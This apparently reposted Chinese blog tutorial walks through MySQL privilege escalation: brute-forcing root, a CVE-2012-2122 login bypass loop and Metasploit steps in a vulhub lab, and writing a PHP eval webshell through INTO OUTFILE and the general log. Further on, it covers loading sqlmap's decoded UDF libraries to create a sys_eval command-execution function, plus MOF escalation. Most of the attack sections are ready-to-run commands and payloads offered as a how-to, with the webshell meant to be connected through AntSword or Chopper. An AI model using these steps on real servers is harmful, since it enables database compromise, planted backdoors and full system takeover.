MYSQL提权

数据库root权限获取方法

  1. MYSQL 3306端口弱口令爆破
  2. sqlmap注入--sql-shell模式
  3. 网站的数据库配置文件中拿到明文密码信息
  4. CVE-2012-2122漏洞

一、 CVE-2012-2122漏洞介绍
当连接MariaDB/MYSQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即使是memcmp()返回一个非零值,也会使MYSQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能直接登录MySQL数据库。

影响版本:
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

二、 漏洞复现
kali:10.10.10.128
靶机:10.10.10.10

  1. 进入vulhub/vulhub/mysql/CVE-2012-2122目录下,执行:
docker-compose up -d 

docker ps

img
2. 启动msf,进行漏洞复现。

search cve-2012-2122
use 0
set rlhost 10.10.10.10

或者

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 10.10.10.10 -P3306 ; done

img

webshell权限获取

into outfile写shell条件:

  1. 知道网站物理路径
  2. 高权限数据库用户
  3. load_file()开启,即secure_file_priv无限制
  4. 网站路径有写入权限

查看数据库是否有secure_file_priv限制:

在MYSQL5.5之前secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件
在MYSQL5.5之后secure_file_priv默认是NULL,这个情况下不可以写文件

mysql> select version();
+-----------+
| version() |
+-----------+
| 5.5.23    |
+-----------+
1 row in set (0.01 sec)

mysql> show  global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.12 sec)

1. 获取root密码
2. 设置secure_file_priv
如果这里查询secure_file_priv值为null,则权限不允许导入或者导出,需要设置secure_file_priv进行修改为空后,再进行写入。
打开my.ini文件,加入下面语句再重启服务器。

secure_file_priv=''

3. 获取网站绝对路径,使用SQL命令写入shell

select '<?php @eval($_POST['hack']);?>' into outfile '/var/www/shell.php'

也可以使用sqlmap进行文件写入,如下:

sqlmap -u "http://www.test.com/?id=x" --file-write="/root/Desktop/shell.php" --file-dest="/var/www/shell.php"

在MYSQL5.5之后已经很难实现了,因为MYSQL5.5以后的版本secure_file_priv的值设置为null,没有导入导出权限,因此可以利用日志写shell。

二 、利用日志写shell
1. 开启MySQL日志,设置日志保存目录

mysql> SHOW VARIABLES LIKE '%general%';
+------------------+----------------------------------------+
| Variable_name    | Value                                  |
+------------------+----------------------------------------+
| general_log      | OFF                                    |
| general_log_file | /usr/local/mysql/data/d5ecaf07887a.log |
+------------------+----------------------------------------+
2 rows in set (0.22 sec)

general_log默认关闭,root用户可以直接通过mysql命令进行开启,开启日志记录后用户的每一条指令,将会保存在general_log_file中。所以可以通过开启general_log,然后自定义general_log_file来进行getshell。

set global general_log="ON";  #开启general_log
set global general_log_file="/var/www/shell.php";  #修改general_log_file路径

2. 写入shell

select "<?php @eval($_POST['hack']);?>";

然后使用蚁剑或者菜刀连接!!!

MYSQL提权

UDF提权
UDF(user-defined function)是MYSQL的一个扩展接口,也可称之为用户自定义函数,它是用来拓展MYSQL的技术手段,用户通过自定义函数来实现在MYSQL中无法实现的功能,添加的新函数都可以在SQL语句中调用,就像调用一些系统函数一样。

动态链接库
提权思路:把我们的动态链接库放置在特定的目录下,创建我们自定义函数,实现系统函数命令的调用,最终导致提权。

在mysql<5.1 导出目录c:/windows或system32
在mysql>=5.1 导出安装目录/lib/plugin/

有注入点,可以通过sqlmap中里面的UDF动态链接库进行导入

\sqlmap\data\udf\mysql
#sqlmap中动态链接库位置

sqlmap中的动态链接库为了防止被杀毒软件查杀,都经过了编码处理,不能直接利用,所以要用sqlmap自带的解码工具clock.py进行解码。

\sqlmap\extra\cloak   #cloak位置

#解码操作
D:\python27\sqlmap\extra\cloak>python cloak.py -d -i D:\python27\sqlmap\data\udf\mysql\linux\64\lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so  #linux解码

D:\python27\sqlmap\extra\cloak>python cloak.py -d -i D:\python27\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll  #windows解码

动态链接库上传位置

show variables like '%plugin%';  #查看动态链接库

select @@basedir;   # 查看MySQL的安装目录

存在sql注入时
条件:secure_file_priv值为空,sql注入为最高权限。

python sqlmap.py -u "http://192.168.178.130/sqli-labs/Less-1/?id=1" --file-write="d:/tools/sqlmap/extra/cloak/lib_mysqludf_sys_64.dll" --file-dest="C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll"

不存在sql注入时
条件:需要写入文件权限,secure_file_priv为空。

#select后面为动态链接库的十六进制编码(数据太长,这里省略显示)
SELECT 0x4d5a900003... INTO DUMPFILE 'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll';

动态链接库的十六进制可以通过mysql自带的hex函数或者一些文件十六进制编码器工具解决。当然在sql语句写不进去的动态链接库的时候,我们还可以通过我们的webshell来进行上传。

通过sql语句来自定义函数

#原本执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';
#修改后执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
#查询自定义函数
mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_eval |   0 | udf.dll | function |
+----------+-----+---------+----------+
#创建成功后,我们利用自定义函数进行命令执行
mysql > select sys_eval('whoami');

然后用我们这个自定义命令执行函数进行提权即可。

#删除自定义函数
mysql> drop function sys_eval;

MOF提权
现在通过mof文件来进行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。mof的提权原理为mof文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

在一些Mysql小于5.5.51或小于5.6.32或小于5.7.14及衍生版本,我们都可以利用CVE-2016-6663、CVE-2016-6664组合对其进行测试提权。

原文地址:MySQL提权总结(建议收藏) - 随风kali - 博客园

posted @   kalixcn  阅读(403)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示